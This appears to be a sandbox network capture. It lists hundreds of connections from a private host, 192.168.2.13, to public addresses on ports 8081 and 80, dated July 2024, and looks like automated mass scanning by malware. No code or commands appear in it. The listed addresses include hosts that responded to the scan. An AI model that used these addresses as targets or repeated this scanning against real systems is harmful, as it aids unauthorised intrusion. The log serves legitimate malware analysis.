Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	160.180.17.70
Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	111.246.235.19
Jul 20, 2024 23:05:43.840363026 CEST	43439	8081	192.168.2.13	202.202.65.175
Jul 20, 2024 23:05:43.840363026 CEST	43439	8081	192.168.2.13	35.42.206.47
Jul 20, 2024 23:05:43.840363026 CEST	43439	8081	192.168.2.13	81.175.215.92
Jul 20, 2024 23:05:43.840363026 CEST	21679	80	192.168.2.13	95.167.137.13
Jul 20, 2024 23:05:43.840363026 CEST	43439	8081	192.168.2.13	197.49.213.115
Jul 20, 2024 23:05:43.840363026 CEST	43439	8081	192.168.2.13	139.171.12.172
Jul 20, 2024 23:05:43.840363979 CEST	43439	8081	192.168.2.13	136.40.155.124
Jul 20, 2024 23:05:43.840363979 CEST	43439	8081	192.168.2.13	132.66.87.176
Jul 20, 2024 23:05:43.840807915 CEST	43608	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.840807915 CEST	47052	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.840807915 CEST	45734	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.840807915 CEST	45734	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.840807915 CEST	43439	8081	192.168.2.13	122.203.81.242
Jul 20, 2024 23:05:43.840807915 CEST	43439	8081	192.168.2.13	46.169.163.18
Jul 20, 2024 23:05:43.842366934 CEST	80	50968	95.114.134.52	192.168.2.13
Jul 20, 2024 23:05:43.842653036 CEST	43439	8081	192.168.2.13	70.168.15.16
Jul 20, 2024 23:05:43.843767881 CEST	43439	8081	192.168.2.13	188.28.224.27
Jul 20, 2024 23:05:43.843767881 CEST	43439	8081	192.168.2.13	193.181.27.163
Jul 20, 2024 23:05:43.843767881 CEST	39186	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	72.49.1.74
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	72.50.182.22
Jul 20, 2024 23:05:43.844429016 CEST	21679	80	192.168.2.13	95.67.5.9
Jul 20, 2024 23:05:43.844429016 CEST	21679	80	192.168.2.13	95.95.133.152
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	207.3.87.9
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	42.1.0.235
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	50.166.98.17
Jul 20, 2024 23:05:43.844429016 CEST	43439	8081	192.168.2.13	20.247.202.47
Jul 20, 2024 23:05:43.844544888 CEST	43439	8081	192.168.2.13	121.0.221.188
Jul 20, 2024 23:05:43.844544888 CEST	43439	8081	192.168.2.13	217.80.186.14
Jul 20, 2024 23:05:43.844544888 CEST	43439	8081	192.168.2.13	161.212.139.125
Jul 20, 2024 23:05:43.844544888 CEST	43439	8081	192.168.2.13	123.103.172.63
Jul 20, 2024 23:05:43.844546080 CEST	43439	8081	192.168.2.13	130.140.172.39
Jul 20, 2024 23:05:43.844546080 CEST	43439	8081	192.168.2.13	94.194.111.123
Jul 20, 2024 23:05:43.844546080 CEST	21679	80	192.168.2.13	95.36.97.154
Jul 20, 2024 23:05:43.844546080 CEST	21679	80	192.168.2.13	95.157.209.104
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	14.87.56.85
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	139.72.232.39
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	183.182.251.88
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	51.49.86.113
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	212.155.243.104
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	168.142.173.18
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	72.232.144.106
Jul 20, 2024 23:05:43.844659090 CEST	43439	8081	192.168.2.13	158.112.54.24
Jul 20, 2024 23:05:43.845005035 CEST	8081	43439	141.138.37.166	192.168.2.13
Jul 20, 2024 23:05:43.845092058 CEST	8081	43439	177.54.176.92	192.168.2.13
Jul 20, 2024 23:05:43.845098019 CEST	8081	52208	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.845113993 CEST	80	21679	95.10.160.219	192.168.2.13
Jul 20, 2024 23:05:43.845118999 CEST	8081	43439	47.159.65.141	192.168.2.13
Jul 20, 2024 23:05:43.845129013 CEST	8081	43439	124.240.54.115	192.168.2.13
Jul 20, 2024 23:05:43.845133066 CEST	8081	43439	126.23.219.122	192.168.2.13
Jul 20, 2024 23:05:43.845136881 CEST	8081	43439	119.69.98.197	192.168.2.13
Jul 20, 2024 23:05:43.845141888 CEST	8081	43439	57.222.21.106	192.168.2.13
Jul 20, 2024 23:05:43.845149994 CEST	8081	43439	183.19.193.120	192.168.2.13
Jul 20, 2024 23:05:43.845149994 CEST	43439	8081	192.168.2.13	141.138.37.166
Jul 20, 2024 23:05:43.845149994 CEST	43439	8081	192.168.2.13	47.159.65.141
Jul 20, 2024 23:05:43.845154047 CEST	8081	43439	110.212.192.180	192.168.2.13
Jul 20, 2024 23:05:43.845163107 CEST	43439	8081	192.168.2.13	177.54.176.92
Jul 20, 2024 23:05:43.845163107 CEST	43439	8081	192.168.2.13	126.23.219.122
Jul 20, 2024 23:05:43.845911980 CEST	43439	8081	192.168.2.13	61.18.0.4
Jul 20, 2024 23:05:43.845911980 CEST	43439	8081	192.168.2.13	25.198.87.96
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	102.228.252.108
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	181.218.129.48
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	153.147.13.190
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	218.148.250.24
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	72.88.233.47
Jul 20, 2024 23:05:43.845912933 CEST	43439	8081	192.168.2.13	144.203.157.84
Jul 20, 2024 23:05:43.846118927 CEST	43439	8081	192.168.2.13	57.222.21.106
Jul 20, 2024 23:05:43.846118927 CEST	43439	8081	192.168.2.13	183.19.193.120
Jul 20, 2024 23:05:43.846118927 CEST	43439	8081	192.168.2.13	110.212.192.180
Jul 20, 2024 23:05:43.846131086 CEST	8081	43439	145.66.34.107	192.168.2.13
Jul 20, 2024 23:05:43.846316099 CEST	8081	43439	112.199.16.104	192.168.2.13
Jul 20, 2024 23:05:43.846324921 CEST	8081	43439	77.29.216.190	192.168.2.13
Jul 20, 2024 23:05:43.846328974 CEST	8081	43439	173.156.2.136	192.168.2.13
Jul 20, 2024 23:05:43.846550941 CEST	43439	8081	192.168.2.13	119.69.98.197
Jul 20, 2024 23:05:43.846550941 CEST	43439	8081	192.168.2.13	145.66.34.107
Jul 20, 2024 23:05:43.846550941 CEST	43439	8081	192.168.2.13	112.199.16.104
Jul 20, 2024 23:05:43.846550941 CEST	43439	8081	192.168.2.13	77.29.216.190
Jul 20, 2024 23:05:43.846721888 CEST	8081	43439	218.144.144.73	192.168.2.13
Jul 20, 2024 23:05:43.846760988 CEST	8081	43439	100.216.201.143	192.168.2.13
Jul 20, 2024 23:05:43.846906900 CEST	8081	43439	96.163.32.157	192.168.2.13
Jul 20, 2024 23:05:43.846911907 CEST	8081	43439	181.67.231.10	192.168.2.13
Jul 20, 2024 23:05:43.846921921 CEST	8081	43439	71.80.64.175	192.168.2.13
Jul 20, 2024 23:05:43.846926928 CEST	80	21679	95.170.49.22	192.168.2.13
Jul 20, 2024 23:05:43.846935034 CEST	8081	43439	120.170.8.41	192.168.2.13
Jul 20, 2024 23:05:43.846940041 CEST	8081	48736	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.847712994 CEST	8081	43439	174.65.10.134	192.168.2.13
Jul 20, 2024 23:05:43.847846985 CEST	8081	43439	142.211.36.224	192.168.2.13
Jul 20, 2024 23:05:43.847851992 CEST	8081	43439	91.155.31.222	192.168.2.13
Jul 20, 2024 23:05:43.847861052 CEST	8081	43439	148.182.95.161	192.168.2.13
Jul 20, 2024 23:05:43.847865105 CEST	8081	43439	20.129.231.127	192.168.2.13
Jul 20, 2024 23:05:43.847875118 CEST	8081	43439	101.54.73.246	192.168.2.13
Jul 20, 2024 23:05:43.847879887 CEST	8081	45946	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.847884893 CEST	8081	43439	58.181.16.4	192.168.2.13
Jul 20, 2024 23:05:43.847893953 CEST	8081	43439	181.136.205.166	192.168.2.13
Jul 20, 2024 23:05:43.847898006 CEST	8081	43439	100.4.120.218	192.168.2.13
Jul 20, 2024 23:05:43.847902060 CEST	8081	43439	197.42.114.20	192.168.2.13
Jul 20, 2024 23:05:43.847906113 CEST	80	21679	95.224.0.28	192.168.2.13
Jul 20, 2024 23:05:43.847915888 CEST	8081	43439	222.36.209.242	192.168.2.13
Jul 20, 2024 23:05:43.847919941 CEST	8081	43439	204.238.227.79	192.168.2.13
Jul 20, 2024 23:05:43.847923994 CEST	8081	43439	87.218.183.140	192.168.2.13
Jul 20, 2024 23:05:43.847928047 CEST	8081	43439	204.114.132.223	192.168.2.13
Jul 20, 2024 23:05:43.847949982 CEST	80	50576	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.847965002 CEST	8081	43439	222.73.141.205	192.168.2.13
Jul 20, 2024 23:05:43.848196983 CEST	8081	43439	142.183.164.174	192.168.2.13
Jul 20, 2024 23:05:43.848201990 CEST	8081	43439	202.202.65.175	192.168.2.13
Jul 20, 2024 23:05:43.848211050 CEST	8081	43608	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.848216057 CEST	8081	43439	146.126.129.204	192.168.2.13
Jul 20, 2024 23:05:43.848223925 CEST	8081	43439	35.42.206.47	192.168.2.13
Jul 20, 2024 23:05:43.848231077 CEST	8081	43439	64.166.68.131	192.168.2.13
Jul 20, 2024 23:05:43.848233938 CEST	8081	43439	81.175.215.92	192.168.2.13
Jul 20, 2024 23:05:43.848237991 CEST	8081	43439	110.77.189.42	192.168.2.13
Jul 20, 2024 23:05:43.848495960 CEST	8081	47052	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:43.848500013 CEST	8081	43439	160.180.17.70	192.168.2.13
Jul 20, 2024 23:05:43.848608971 CEST	43439	8081	192.168.2.13	39.160.212.95
Jul 20, 2024 23:05:43.848608971 CEST	43439	8081	192.168.2.13	97.216.245.248
Jul 20, 2024 23:05:43.848608971 CEST	43439	8081	192.168.2.13	124.240.54.115
Jul 20, 2024 23:05:43.848608971 CEST	43439	8081	192.168.2.13	173.156.2.136
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	218.91.166.79
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	202.31.198.75
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	193.144.59.47
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	72.13.132.92
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	220.247.59.214
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	159.111.73.131
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	59.221.94.52
Jul 20, 2024 23:05:43.851141930 CEST	43439	8081	192.168.2.13	14.193.168.165
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	218.144.144.73
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	181.67.231.10
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	91.155.31.222
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	58.181.16.4
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	100.4.120.218
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	204.238.227.79
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	222.73.141.205
Jul 20, 2024 23:05:43.851250887 CEST	43439	8081	192.168.2.13	142.183.164.174
Jul 20, 2024 23:05:43.851370096 CEST	43439	8081	192.168.2.13	95.81.29.32
Jul 20, 2024 23:05:43.851370096 CEST	43439	8081	192.168.2.13	217.82.136.55
Jul 20, 2024 23:05:43.851370096 CEST	43439	8081	192.168.2.13	211.74.60.83
Jul 20, 2024 23:05:43.851370096 CEST	43439	8081	192.168.2.13	41.52.13.221
Jul 20, 2024 23:05:43.851370096 CEST	43439	8081	192.168.2.13	13.168.90.100
Jul 20, 2024 23:05:43.851370096 CEST	58656	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.851370096 CEST	58656	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.851370096 CEST	21679	80	192.168.2.13	95.134.174.69
Jul 20, 2024 23:05:43.851593018 CEST	43439	8081	192.168.2.13	119.78.0.144
Jul 20, 2024 23:05:43.851593018 CEST	43439	8081	192.168.2.13	151.25.221.27
Jul 20, 2024 23:05:43.851593018 CEST	21679	80	192.168.2.13	95.135.246.199
Jul 20, 2024 23:05:43.851593018 CEST	21679	80	192.168.2.13	95.123.181.38
Jul 20, 2024 23:05:43.851593018 CEST	21679	80	192.168.2.13	95.22.107.116
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.35.28.12
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.31.248.208
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.200.208.66
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.21.96.143
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.214.161.11
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.213.244.235
Jul 20, 2024 23:05:43.852370977 CEST	21679	80	192.168.2.13	95.11.222.96
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	167.92.193.194
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	39.109.153.4
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	208.15.56.236
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	150.160.92.118
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	70.49.207.85
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	54.226.21.170
Jul 20, 2024 23:05:43.854484081 CEST	43439	8081	192.168.2.13	178.162.176.1
Jul 20, 2024 23:05:43.854484081 CEST	21679	80	192.168.2.13	95.177.214.172
Jul 20, 2024 23:05:43.854708910 CEST	43439	8081	192.168.2.13	110.77.189.42
Jul 20, 2024 23:05:43.854708910 CEST	43439	8081	192.168.2.13	160.180.17.70
Jul 20, 2024 23:05:43.854708910 CEST	60698	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.854708910 CEST	60698	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.854928017 CEST	8081	43439	197.49.213.115	192.168.2.13
Jul 20, 2024 23:05:43.854944944 CEST	8081	43439	139.171.12.172	192.168.2.13
Jul 20, 2024 23:05:43.854998112 CEST	8081	43439	112.67.78.72	192.168.2.13
Jul 20, 2024 23:05:43.855004072 CEST	8081	43439	17.43.178.121	192.168.2.13
Jul 20, 2024 23:05:43.855025053 CEST	8081	43439	111.246.235.19	192.168.2.13
Jul 20, 2024 23:05:43.855026960 CEST	8081	45734	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.855170965 CEST	8081	43439	213.208.13.112	192.168.2.13
Jul 20, 2024 23:05:43.855892897 CEST	8081	43439	188.28.224.27	192.168.2.13
Jul 20, 2024 23:05:43.855947971 CEST	43439	8081	192.168.2.13	111.246.235.19
Jul 20, 2024 23:05:43.855947971 CEST	43439	8081	192.168.2.13	188.28.224.27
Jul 20, 2024 23:05:43.855966091 CEST	8081	43439	136.40.155.124	192.168.2.13
Jul 20, 2024 23:05:43.855969906 CEST	8081	45734	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.855974913 CEST	8081	43439	193.181.27.163	192.168.2.13
Jul 20, 2024 23:05:43.855989933 CEST	8081	43439	156.214.118.163	192.168.2.13
Jul 20, 2024 23:05:43.855995893 CEST	8081	43439	132.66.87.176	192.168.2.13
Jul 20, 2024 23:05:43.855999947 CEST	8081	43439	72.49.1.74	192.168.2.13
Jul 20, 2024 23:05:43.856010914 CEST	8081	43439	14.87.56.85	192.168.2.13
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.190.154.96
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.168.226.180
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.203.142.135
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.77.65.141
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.218.67.198
Jul 20, 2024 23:05:43.856013060 CEST	21679	80	192.168.2.13	95.42.231.24
Jul 20, 2024 23:05:43.856020927 CEST	8081	43439	72.50.182.22	192.168.2.13
Jul 20, 2024 23:05:43.856025934 CEST	8081	43439	122.203.81.242	192.168.2.13
Jul 20, 2024 23:05:43.856030941 CEST	8081	43439	139.72.232.39	192.168.2.13
Jul 20, 2024 23:05:43.856035948 CEST	8081	43439	121.0.221.188	192.168.2.13
Jul 20, 2024 23:05:43.856040955 CEST	8081	43439	46.169.163.18	192.168.2.13
Jul 20, 2024 23:05:43.856045008 CEST	8081	43439	217.80.186.14	192.168.2.13
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.220.129.153
Jul 20, 2024 23:05:43.856060982 CEST	8081	43439	183.182.251.88	192.168.2.13
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.254.33.254
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.22.70.113
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.95.85.151
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.107.177.164
Jul 20, 2024 23:05:43.856059074 CEST	21679	80	192.168.2.13	95.40.147.159
Jul 20, 2024 23:05:43.856060028 CEST	21679	80	192.168.2.13	95.56.98.255
Jul 20, 2024 23:05:43.856060028 CEST	21679	80	192.168.2.13	95.189.25.164
Jul 20, 2024 23:05:43.856065989 CEST	8081	43439	61.18.0.4	192.168.2.13
Jul 20, 2024 23:05:43.856673002 CEST	43439	8081	192.168.2.13	193.181.27.163
Jul 20, 2024 23:05:43.857217073 CEST	21679	80	192.168.2.13	95.184.73.82
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.76.74.68
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.197.240.3
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.167.251.156
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.217.13.169
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.248.26.116
Jul 20, 2024 23:05:43.857218027 CEST	21679	80	192.168.2.13	95.218.169.177
Jul 20, 2024 23:05:43.857891083 CEST	59026	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.858247042 CEST	32820	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.859595060 CEST	21679	80	192.168.2.13	95.98.10.163
Jul 20, 2024 23:05:43.859595060 CEST	21679	80	192.168.2.13	95.57.42.212
Jul 20, 2024 23:05:43.859595060 CEST	21679	80	192.168.2.13	95.142.81.22
Jul 20, 2024 23:05:43.859595060 CEST	21679	80	192.168.2.13	95.208.188.74
Jul 20, 2024 23:05:43.859595060 CEST	37304	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:43.859595060 CEST	55396	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.859814882 CEST	21679	80	192.168.2.13	95.47.140.188
Jul 20, 2024 23:05:43.859814882 CEST	21679	80	192.168.2.13	95.250.101.205
Jul 20, 2024 23:05:43.859814882 CEST	21679	80	192.168.2.13	95.53.143.174
Jul 20, 2024 23:05:43.859816074 CEST	21679	80	192.168.2.13	95.116.63.54
Jul 20, 2024 23:05:43.859816074 CEST	21679	80	192.168.2.13	95.154.101.229
Jul 20, 2024 23:05:43.859816074 CEST	21679	80	192.168.2.13	95.163.240.162
Jul 20, 2024 23:05:43.859816074 CEST	21679	80	192.168.2.13	95.220.253.229
Jul 20, 2024 23:05:43.859816074 CEST	21679	80	192.168.2.13	95.6.24.139
Jul 20, 2024 23:05:43.860018969 CEST	60328	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:43.860018969 CEST	60328	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:43.860198021 CEST	53478	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:43.860198021 CEST	41892	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:43.860198021 CEST	56208	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:43.860198021 CEST	21679	80	192.168.2.13	95.100.186.55
Jul 20, 2024 23:05:43.860198021 CEST	21679	80	192.168.2.13	95.149.86.158
Jul 20, 2024 23:05:43.860198021 CEST	21679	80	192.168.2.13	95.209.251.104
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.120.181.45
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.175.153.47
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.87.135.33
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.165.121.237
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.146.106.16
Jul 20, 2024 23:05:43.861375093 CEST	21679	80	192.168.2.13	95.20.68.219
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	100.216.201.143
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	71.80.64.175
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	174.65.10.134
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	148.182.95.161
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	101.54.73.246
Jul 20, 2024 23:05:43.862165928 CEST	43439	8081	192.168.2.13	197.42.114.20
Jul 20, 2024 23:05:43.862529039 CEST	8081	55198	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.862545967 CEST	8081	43439	161.212.139.125	192.168.2.13
Jul 20, 2024 23:05:43.862560034 CEST	8081	43439	25.198.87.96	192.168.2.13
Jul 20, 2024 23:05:43.862565041 CEST	8081	43439	123.103.172.63	192.168.2.13
Jul 20, 2024 23:05:43.862575054 CEST	8081	43439	51.49.86.113	192.168.2.13
Jul 20, 2024 23:05:43.862580061 CEST	8081	43439	212.155.243.104	192.168.2.13
Jul 20, 2024 23:05:43.862584114 CEST	80	39186	95.140.215.247	192.168.2.13
Jul 20, 2024 23:05:43.862588882 CEST	8081	43439	102.228.252.108	192.168.2.13
Jul 20, 2024 23:05:43.862598896 CEST	8081	43439	181.218.129.48	192.168.2.13
Jul 20, 2024 23:05:43.862603903 CEST	8081	43439	130.140.172.39	192.168.2.13
Jul 20, 2024 23:05:43.862706900 CEST	21679	80	192.168.2.13	95.184.226.90
Jul 20, 2024 23:05:43.862706900 CEST	21679	80	192.168.2.13	95.88.100.57
Jul 20, 2024 23:05:43.862706900 CEST	21679	80	192.168.2.13	95.168.103.108
Jul 20, 2024 23:05:43.862706900 CEST	21679	80	192.168.2.13	95.29.159.251
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.39.208.120
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.78.62.180
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.215.54.96
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.245.214.0
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.117.81.232
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.217.208.228
Jul 20, 2024 23:05:43.863126993 CEST	21679	80	192.168.2.13	95.180.88.254
Jul 20, 2024 23:05:43.864204884 CEST	45946	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.864204884 CEST	50576	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.864204884 CEST	43439	8081	192.168.2.13	17.43.178.121
Jul 20, 2024 23:05:43.864655018 CEST	8081	43439	168.142.173.18	192.168.2.13
Jul 20, 2024 23:05:43.864660978 CEST	8081	43439	153.147.13.190	192.168.2.13
Jul 20, 2024 23:05:43.864670038 CEST	8081	43439	218.148.250.24	192.168.2.13
Jul 20, 2024 23:05:43.864759922 CEST	8081	43439	207.3.87.9	192.168.2.13
Jul 20, 2024 23:05:43.864769936 CEST	8081	43439	42.1.0.235	192.168.2.13
Jul 20, 2024 23:05:43.864871979 CEST	8081	43439	72.232.144.106	192.168.2.13
Jul 20, 2024 23:05:43.864876986 CEST	8081	43439	50.166.98.17	192.168.2.13
Jul 20, 2024 23:05:43.864887953 CEST	8081	43439	94.194.111.123	192.168.2.13
Jul 20, 2024 23:05:43.865034103 CEST	8081	43439	72.88.233.47	192.168.2.13
Jul 20, 2024 23:05:43.865040064 CEST	8081	43439	20.247.202.47	192.168.2.13
Jul 20, 2024 23:05:43.865050077 CEST	8081	43439	158.112.54.24	192.168.2.13
Jul 20, 2024 23:05:43.865055084 CEST	8081	43439	144.203.157.84	192.168.2.13
Jul 20, 2024 23:05:43.865068913 CEST	8081	43439	218.91.166.79	192.168.2.13
Jul 20, 2024 23:05:43.865083933 CEST	8081	43439	119.78.0.144	192.168.2.13
Jul 20, 2024 23:05:43.865842104 CEST	8081	43439	202.31.198.75	192.168.2.13
Jul 20, 2024 23:05:43.865847111 CEST	80	50222	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.865856886 CEST	8081	43439	151.25.221.27	192.168.2.13
Jul 20, 2024 23:05:43.865861893 CEST	8081	43439	193.144.59.47	192.168.2.13
Jul 20, 2024 23:05:43.865886927 CEST	8081	43439	72.13.132.92	192.168.2.13
Jul 20, 2024 23:05:43.865890980 CEST	8081	43439	220.247.59.214	192.168.2.13
Jul 20, 2024 23:05:43.865895987 CEST	8081	43439	159.111.73.131	192.168.2.13
Jul 20, 2024 23:05:43.865900993 CEST	8081	43439	95.81.29.32	192.168.2.13
Jul 20, 2024 23:05:43.865910053 CEST	8081	43439	217.82.136.55	192.168.2.13
Jul 20, 2024 23:05:43.865915060 CEST	8081	43439	59.221.94.52	192.168.2.13
Jul 20, 2024 23:05:43.865919113 CEST	8081	43439	211.74.60.83	192.168.2.13
Jul 20, 2024 23:05:43.865930080 CEST	8081	43439	14.193.168.165	192.168.2.13
Jul 20, 2024 23:05:43.865940094 CEST	8081	43439	167.92.193.194	192.168.2.13
Jul 20, 2024 23:05:43.865945101 CEST	8081	43439	41.52.13.221	192.168.2.13
Jul 20, 2024 23:05:43.865972996 CEST	8081	43439	39.109.153.4	192.168.2.13
Jul 20, 2024 23:05:43.865978003 CEST	8081	43439	13.168.90.100	192.168.2.13
Jul 20, 2024 23:05:43.865988016 CEST	80	60698	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.866132021 CEST	8081	58656	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:43.866559982 CEST	80	60698	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.866604090 CEST	8081	43439	208.15.56.236	192.168.2.13
Jul 20, 2024 23:05:43.866614103 CEST	8081	43439	150.160.92.118	192.168.2.13
Jul 20, 2024 23:05:43.866971970 CEST	8081	43439	70.49.207.85	192.168.2.13
Jul 20, 2024 23:05:43.866976976 CEST	8081	59026	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:43.866987944 CEST	80	32820	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.866992950 CEST	8081	43439	54.226.21.170	192.168.2.13
Jul 20, 2024 23:05:43.867065907 CEST	8081	43439	178.162.176.1	192.168.2.13
Jul 20, 2024 23:05:43.867070913 CEST	8081	60328	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:43.867511034 CEST	80	50222	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.867511988 CEST	54004	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:43.867511988 CEST	50968	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:43.867511988 CEST	43439	8081	192.168.2.13	96.163.32.157
Jul 20, 2024 23:05:43.867511988 CEST	43439	8081	192.168.2.13	120.170.8.41
Jul 20, 2024 23:05:43.871507883 CEST	21679	80	192.168.2.13	95.10.160.219
Jul 20, 2024 23:05:43.871507883 CEST	21679	80	192.168.2.13	95.170.49.22
Jul 20, 2024 23:05:43.871507883 CEST	21679	80	192.168.2.13	95.224.0.28
Jul 20, 2024 23:05:43.872065067 CEST	43439	8081	192.168.2.13	87.218.183.140
Jul 20, 2024 23:05:43.872065067 CEST	43439	8081	192.168.2.13	146.126.129.204
Jul 20, 2024 23:05:43.872065067 CEST	43439	8081	192.168.2.13	64.166.68.131
Jul 20, 2024 23:05:43.872065067 CEST	43439	8081	192.168.2.13	112.67.78.72
Jul 20, 2024 23:05:43.872065067 CEST	43439	8081	192.168.2.13	156.214.118.163
